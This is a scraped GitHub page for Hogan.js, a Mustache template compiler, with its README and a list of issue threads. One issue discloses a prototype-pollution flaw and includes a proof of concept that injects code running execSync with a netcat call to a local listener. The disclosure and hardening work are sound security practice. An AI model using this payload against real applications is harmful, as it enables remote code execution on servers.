A compiler for the Mustache templating language

Overview

Hogan.js - A mustache compiler. Build Status

Hogan.js is a compiler for the Mustache templating language. For information on Mustache, see the manpage and the spec.

Basics

Hogan compiles templates to HoganTemplate objects, which have a render method.

var data = {
  screenName: "dhg",
};

var template = Hogan.compile("Follow @{{screenName}}.");
var output = template.render(data);

// prints "Follow @dhg."
console.log(output);

Features

Hogan is fast--try it on your workload.

Hogan has separate scanning, parsing and code generation phases. This way it's possible to add new features without touching the scanner at all, and many different code generation techniques can be tried without changing the parser.

Hogan exposes scan and parse methods. These can be useful for pre-processing templates on the server.

var text = "{{^check}}{{#i18n}}No{{/i18n}}{{/check}}";
text +=  "{{#check}}{{#i18n}}Yes{{/i18n}}{{/check}}";
var tree = Hogan.parse(Hogan.scan(text));

// outputs "# check"
console.log(tree[0].tag + " " + tree[0].name);

// outputs "Yes"
console.log(tree[1].nodes[0].nodes[0]);

It's also possible to use HoganTemplate objects without the Hogan compiler present. That means you can pre-compile your templates on the server, and avoid shipping the compiler. However, the optional lambda features from the Mustache spec require the compiler and the original template source to be present.

Hogan also supports template inheritance, and maintains compatibility with other implementations like mustache.java, mustache.php, and GRMustache

Why Hogan.js?

Why another templating library?

Hogan.js was written to meet three templating library requirements: good performance, standalone template objects, and a parser API.

Install

Node.js

npm install hogan.js

component

component install twitter/hogan.js

Compilation options

The second argument to Hogan.compile is an options hash.

var text = "my <%example%> template."
Hogan.compile(text, {delimiters: '<% %>'});

There are currently four valid options.

asString: return the compiled template as a string. This feature is used by hulk to produce strings containing pre-compiled templates.

sectionTags: allow custom tags that require opening and closing tags, and treat them as though they were section tags.

var text = "my {{_foo}}example{{/foo}} template."
Hogan.compile(text, { sectionTags: [{o: '_foo', c: 'foo'}]});

The value is an array of object with o and c fields that indicate names for custom section tags. The example above allows parsing of {{_foo}}{{/foo}}.

delimiters: A string that overrides the default delimiters. Example: "<% %>".

disableLambda: disables the higher-order sections / lambda-replace features of Mustache.

Issues

Have a bug? Please create an issue here on GitHub!

https://github.com/twitter/hogan.js/issues

Versioning

For transparency and insight into our release cycle, releases will be numbered with the follow format:

<major>.<minor>.<patch>

And constructed with the following guidelines:

  • Breaking backwards compatibility bumps the major
  • New additions without breaking backwards compatibility bumps the minor
  • Bug fixes and misc changes bump the patch

For more information on semantic versioning, please visit http://semver.org/.

Testing

To run the tests you first need to update all git submodules.

$ git submodule init
$ git submodule update

Unit tests are written using QUnit. To run them, open test/index.html in a browser.

Use node to run all tests from the mustache spec.

$ node test/spec.js

Authors

Robert Sayre

Jacob Thornton

License

Copyright 2011 Twitter, Inc.

Licensed under the Apache License, Version 2.0: http://www.apache.org/licenses/LICENSE-2.0

Comments
  • Publish to npm?

    Publish to npm?

    Any plans to publish the latest version to npm? I'm running into issues with hulk (/ and - in filenames) with the current published version and it looks like those issues have been fixed in master.

    opened by jgallen23 31
  • Harden against prototype pollution

    Harden against prototype pollution

    Hogan.js can be chained with prototype pollution to gain Remote Code Execution as Hogan.js objects can be easily controlled.

    Description:

    • This vulnerability is regarding https://github.com/twitter/hogan.js

    • The function createPartials is called whenever '<' exists in tokens .In function createPartials code generated are getting concatenated and then evaluated later.

    • When Prototype pollution bug exist in a application it could pollute certain variables in complier.js and hence the code generated can be controlled.In this case node.indent and context.prefix can be polluted and can be used to gain rce.

    POC

    var hogan = require("hogan.js");
    
    // construct template string
    var template = "my {{>example}} template.";
    
    //Prototype Pollution
    constructor.prototype.indent="console.log(\"));console.log(process.mainModule.require('child_process').execSync('nc 127.0.0.1 1337'))//\")";
    constructor.prototype.prefix="abcd";
    
    var tokens=hogan.scan(template)
    console.log("tokens",tokens)
    
    // compile template
    var compiled = hogan.compile(template);
    
    console.log("compiled" , compiled)
    var s = compiled.render({example: 'twitterer' })
    console.log("renderd",s)
    
    

    To Reproduce Steps to reproduce the behavior:

    1. Run above poc.js
    2. listen on port 1337

    Screenshots

    poc

    Additional context

    For more information refer here https://sayoojbkumar.me/blog/2021/12/15/PP-Hogan-js/

    opened by sayoojbkumar 22
  • Hogan treats an empty string as truthy

    Hogan treats an empty string as truthy

    as per the Mustache spec (and as implemented in Mustache.js), an empty string should be counted as falsey when boolean coercion is in place for rendering sections.

    given the following template {{#test}}blah{{/test}} and context {test: ""} the result from rendering it should be an empty string. Hogan actually outputs "blah"

    opened by gonchuki 19
  • make a command line tool

    make a command line tool

    We have a lib/ directory, so we should have a bin/ directory to go along with it.

    It would be handy to have hogan generate compiled functions on the command line. I see @bradleywright already has something going there.

    opened by sayrer 18
  • Template inheritance docs

    Template inheritance docs

    Hi guys

    from the previous issues and commit messages it looks like Hogan can now do inheritance.

    Can you write an example / doc / test to show the syntax, please?

    Ta!

    opened by rdrey 15
  • Lambda functions not supported in precompiled templates

    Lambda functions not supported in precompiled templates

    Hey guys,

    I noticed lambda functions are not supported in precompiled templates. The core reason for this appears to be that the official Mustache specification reads:

    Lambdas are a special-cased data type for use in interpolations and sections.

    (...)

    When used as the data value for a Section tag, the lambda MUST be treatable as an arity 1 function, and invoked as such (passing a String containing the unprocessed section contents). The returned value MUST be rendered against the current delimiters, then interpolated in place of the section.

    Unfortunately, this behavior requires that when a lambda function is used, the original (unprocessed) source of the template is available. In order to remedy this situation, I created a fork that works on the processed section contents instead (I've not created a pull request as it deliberately diverts from the spec to create the desired result).

    Anyway, I think it's good to make you aware of this fork, and I'm looking for any feedback you guys can give me. Also, if you prefer I create a pull request for this, I can do that too.

    One more question, I tried running the test suite through run.js to see if my changes had any unintended side-effects, but run.js gave me no output whatsoever. Probably I'm just unaware how to properly run the suite, but I didn't see instructions either, so if someone can point me to how to properly run the test suite that would be great.

    You can find my fork right here: https://github.com/arendjr/hogan.js

    Regards, Arend jr.

    opened by arendjr 13
  • Improve docs: precompile for serverside js

    Improve docs: precompile for serverside js

    Compiling templates on the server (via Java SCriptEngine for example) returns an object. How can that object be transferred to the client? JSON.stringfy?

    Wouldn't it benefital just to transfer the generated code to the client? This can't be done atm

    opened by grobmeier 13
  • Provide a minified version of the source file

    Provide a minified version of the source file

    Minified version should be provided for client side use preferably with a version number in the file name (I don't see the current version of hogan.js anywhere?).

    opened by kpuputti 10
  • Can't get lambdas to work

    Can't get lambdas to work

    I recently commented on #75 but realised it was closed while this one deserves a current issue of its own.

    I just tested with the last v1 release (1.0.5) that I'm able to define a function like

    var foo = function () {
      return function(text, render) {
        return bar(render(text));
      }
    }
    

    which I can then use with a template like {{#foo}}{{baz}}{{/foo}}. This works delightfully and solves all my templating problems.

    I'm unable to get this behaviour working v2 onwards: I see the ugly Uncaught ReferenceError: render is not defined for the exact same code. Did something break along the way for it to be thus or am I missing something?

    opened by prashaantt 9
  • Lambda expression in included partial mustache

    Lambda expression in included partial mustache

    Hi apologies if this is a subject spoken about elsewhere but I can't seem to find a current issue, consider the following unit test, which is a slight adaptation of an existing one, the only difference is that the lambda function is moved from text to partial. Should this test pass or is it a misuse by myself?

    var lambda = function() {
      return function(argument) {
        return 'changed ' + argument;
      }
    }
    
    var parent = '{{$section}}{{/section}}';
    var partial = '{{#lambda}}{{$label}}test1{{/label}}{{/lambda}}';
    var text = '{{< parent}}{{$section}}{{<partial}}{{$label}}test2{{/label}}{{/partial}}{{/section}}{{/parent}}';
    var template = Hogan.compile(text);
    var result = template.render({lambda: lambda}, {partial: Hogan.compile(partial), parent: Hogan.compile(parent)});
    
    is(result, 'changed test2', 'Lambda expression in included partial templates');`
    
    opened by andy-polhill 8
  • Odd permissions in the package tar.gz file as published to NPM

    Odd permissions in the package tar.gz file as published to NPM

    Sometime between node-0.6.8 and node-0.6.11, the way NPM untars package files seems to have changed, and I believe this has revealed a latent problem with Hogan's package tar.gz file as published to the NPM registry.

    In particular, none of the directories in the archive seem to have the execute permission flag set, which means that, once unpacked, it is impossible to actually read their contents (without altering the permission flags). This didn't bug the old NPM, but the current one will complain when attempting to install Hogan, along these lines:

    npm ERR! path /tmp/npm-1330464275415/1330464275783-0.16246374556794763/___package.npm/package/bin/hulk
    npm ERR! code EACCES
    npm ERR! message EACCES, permission denied '/tmp/npm-1330464275415/1330464275783-0.16246374556794763/___package.npm/package/bin/hulk'
    

    If you download, untar, and inspect the package file, you can see what's up:

    $ curl -k -o hogan.tar.gz https://registry.npmjs.org/hogan/-/hogan-1.0.5-dev.tgz
    [...]
    $ tar xzf hogan.tar.gz 
    $ ls -alF package/
    total 64
    drwxrwxr-x 8 ec2-user ec2-user  4096 Feb 28 21:32 ./
    drwxr-xr-x 9 ec2-user ec2-user  4096 Feb 28 21:32 ../
    drw-rw-r-- 2 ec2-user ec2-user  4096 Jan 28 21:44 bin/
    -rw-rw-r-- 1 ec2-user ec2-user    14 Jan 28 21:44 .git_ignore
    -rw-rw-r-- 1 ec2-user ec2-user    89 Jan 28 21:44 .gitmodules
    drw-rw-r-- 2 ec2-user ec2-user  4096 Jan 28 21:44 lib/
    -rw-rw-r-- 1 ec2-user ec2-user 10349 Jan 28 21:44 LICENSE
    -rw-rw-r-- 1 ec2-user ec2-user  1324 Jan 28 21:44 Makefile
    -rw-rw-r-- 1 ec2-user ec2-user   558 Jan 28 21:44 package.json
    -rw-rw-r-- 1 ec2-user ec2-user  2607 Jan 28 21:44 README.md
    drw-rw-r-- 4 ec2-user ec2-user  4096 Jan 28 21:44 test/
    drw-rw-r-- 2 ec2-user ec2-user  4096 Jan 28 21:44 tools/
    drw-rw-r-- 6 ec2-user ec2-user  4096 Jan 28 21:44 web/
    drw-rw-r-- 2 ec2-user ec2-user  4096 Jan 28 21:44 wrappers/
    $
    

    I'd expect all the directories to show up as drwxrwxr-x, which is what you'll see in pretty much every other NPM package (or tarball in general for that matter).

    opened by danfuzz 8
  • Harden against prototype pollution.

    Harden against prototype pollution.

    This makes it more difficult for RCEs in other libraries to overwrite the prototype chain to manipulate Hogan, but also prevents authors from manipulating the prototype chain on purpose. I think the latter is rare enough that this change is worth it.

    This first patch just fixes node.indent. See #274.

    opened by sayrer 5
  • Update hogan.js to track the latest Mustache spec, close remaining bugs, and make it clear the project is in maintenance mode

    Update hogan.js to track the latest Mustache spec, close remaining bugs, and make it clear the project is in maintenance mode

    I was alerted to https://github.com/mustache/spec/pull/125, which covers most of the non-standard features shared by Mustache.java and hogan.js. It's been ~8 years since I seriously worked on this project, but this seems like a good time to close things up.

    After this work is done, I'll add a note to the README that makes it clear the project is not adding new features, and is in maintenance mode. Serious bugs, such as security issues, will be addressed. New features and performance work can be done in a fork.

    opened by sayrer 10
  • Update mkdirp package

    Update mkdirp package

    deprecated [email protected]: Legacy versions of mkdirp are no longer supported. Please update to mkdirp 1.x. (Note that the API surface has changed to use Promises in 1.x.)
    
    opened by woodyrew 1
  • docs: Fix simple typo, curent -> current

    docs: Fix simple typo, curent -> current

    There is a small typo in web/1.0.0/hogan.js, web/builds/1.0.0/hogan.js, web/builds/1.0.3/hogan.js, web/builds/1.0.4/hogan-1.0.4.amd.js, web/builds/1.0.4/hogan-1.0.4.common.js, web/builds/1.0.4/hogan-1.0.4.js, web/builds/1.0.4/hogan-1.0.4.mustache.js, web/builds/1.0.4/template-1.0.4.js, web/builds/1.0.5/hogan-1.0.5.amd.js, web/builds/1.0.5/hogan-1.0.5.common.js, web/builds/1.0.5/hogan-1.0.5.js, web/builds/1.0.5/hogan-1.0.5.mustache.js, web/builds/1.0.5/template-1.0.5.js, web/builds/2.0.0/hogan-2.0.0.amd.js, web/builds/2.0.0/hogan-2.0.0.common.js, web/builds/2.0.0/hogan-2.0.0.js, web/builds/2.0.0/hogan-2.0.0.mustache.js, web/builds/2.0.0/template-2.0.0.js.

    Should read current rather than curent.

    opened by timgates42 1
Releases(v3.0.2)
Owner
Twitter
Twitter 💙 #opensource
Twitter
handlebars.js 8.8 4.4 L3 JavaScript An extension to the Mustache templating language.

Handlebars.js Handlebars provides the power necessary to let you build semantic templates effectively with no frustration. Handlebars is largely compa

The Handlebars Templating Language 16.9k Jan 5, 2023
Minimal templating with {{mustaches}} in JavaScript

mustache.js - Logic-less {{mustache}} templates with JavaScript What could be more logical awesome than no logic at all? mustache.js is a zero-depende

Jan Lehnardt 15.7k Jan 7, 2023
Asynchronous Javascript templating for the browser and server

Dust.js Asynchronous Javascript templating for the browser and server. This fork is maintained by LinkedIn. Install NPM Important: We recommend that y

LinkedIn 2.9k Dec 31, 2022
1KB lightweight, fast & powerful JavaScript templating engine with zero dependencies. Compatible with server-side environments like node.js, module loaders like RequireJS and all web browsers.

JavaScript Templates Contents Demo Description Usage Client-side Server-side Requirements API tmpl() function Templates cache Output encoding Local he

Sebastian Tschan 1.7k Jan 3, 2023
A tiny javascript templating framework in ~400 bytes gzipped

t.js A tiny javascript templating framework in ~400 bytes gzipped t.js is a simple solution to interpolating values in an html string for insertion in

Jason Mooberry 823 Dec 29, 2022
A powerful templating engine with inheritance, asynchronous control, and more (jinja2 inspired)

Nunjucks Nunjucks is a full featured templating engine for javascript. It is heavily inspired by jinja2. View the docs here. Installation npm install

Mozilla 8k Dec 30, 2022
Asynchronous Javascript templating for the browser and server

Dust.js Asynchronous Javascript templating for the browser and server. This fork is maintained by LinkedIn. Install NPM Important: We recommend that y

LinkedIn 2.9k Dec 31, 2022
A declarative, HTML-based language that makes building web apps fun

A declarative, HTML-based language that makes building web apps fun ?? Docs ∙ Try Online ∙ Contribute ∙ Get Support Intro Marko is HTML re-imagined as

Marko 12k Jan 3, 2023
handlebars.js - An extension to the Mustache templating language.

Handlebars.js Handlebars provides the power necessary to let you build semantic templates effectively with no frustration. Handlebars is largely compa

The Handlebars Templating Language 16.9k Jan 5, 2023
handlebars.js 8.8 4.4 L3 JavaScript An extension to the Mustache templating language.

Handlebars.js Handlebars provides the power necessary to let you build semantic templates effectively with no frustration. Handlebars is largely compa

The Handlebars Templating Language 16.9k Jan 5, 2023
⚡️The Fullstack React Framework — built on Next.js

The Fullstack React Framework "Zero-API" Data Layer — Built on Next.js — Inspired by Ruby on Rails Read the Documentation “Zero-API” data layer lets y

⚡️Blitz 12.5k Jan 4, 2023
JIT Compiler is a open source online code compiler. You can run more than 40+ most popular programming languages in your browser just-in-time using jitcompiler.

JIT Compiler is a open source online code compiler. You can run more than 40+ most popular programming languages in your browser just-in-time using jitcompiler.

Rajkumar Dusad 36 Jan 5, 2023
Grupprojekt för kurserna 'Javascript med Ramverk' och 'Agil Utveckling'

JavaScript-med-Ramverk-Laboration-3 Grupprojektet för kurserna Javascript med Ramverk och Agil Utveckling. Utvecklingsguide För information om hur utv

Svante Jonsson IT-Högskolan 3 May 18, 2022
Hemsida för personer i Sverige som kan och vill erbjuda boende till människor på flykt

Getting Started with Create React App This project was bootstrapped with Create React App. Available Scripts In the project directory, you can run: np

null 4 May 3, 2022
Kurs-repo för kursen Webbserver och Databaser

Webbserver och databaser This repository is meant for CME students to access exercises and codealongs that happen throughout the course. I hope you wi

null 14 Jan 3, 2023
Javascript version of the Move language compiler, supports compiling Move code into Move bytecode in the browser.

move-js Javascript version of the move language compiler, supports compiling Move code into move bytecode in the browser. Features Compiling move pack

Starcoin 13 Dec 20, 2022
The repository shows the compiler (simulator) of the Little Man Computer, which also contains some programs in the LMC programming language for implementing different functions.

Little Man Computer The repository shows the compiler (simulator) of the Little Man Computer, which also contains some programs in the LMC programming

Cow Cheng 2 Nov 17, 2022
Minimal templating with {{mustaches}} in JavaScript

mustache.js - Logic-less {{mustache}} templates with JavaScript What could be more logical awesome than no logic at all? mustache.js is a zero-depende

Jan Lehnardt 15.7k Jan 7, 2023
Asynchronous Javascript templating for the browser and server

Dust.js Asynchronous Javascript templating for the browser and server. This fork is maintained by LinkedIn. Install NPM Important: We recommend that y

LinkedIn 2.9k Dec 31, 2022
1KB lightweight, fast & powerful JavaScript templating engine with zero dependencies. Compatible with server-side environments like node.js, module loaders like RequireJS and all web browsers.

JavaScript Templates Contents Demo Description Usage Client-side Server-side Requirements API tmpl() function Templates cache Output encoding Local he

Sebastian Tschan 1.7k Jan 3, 2023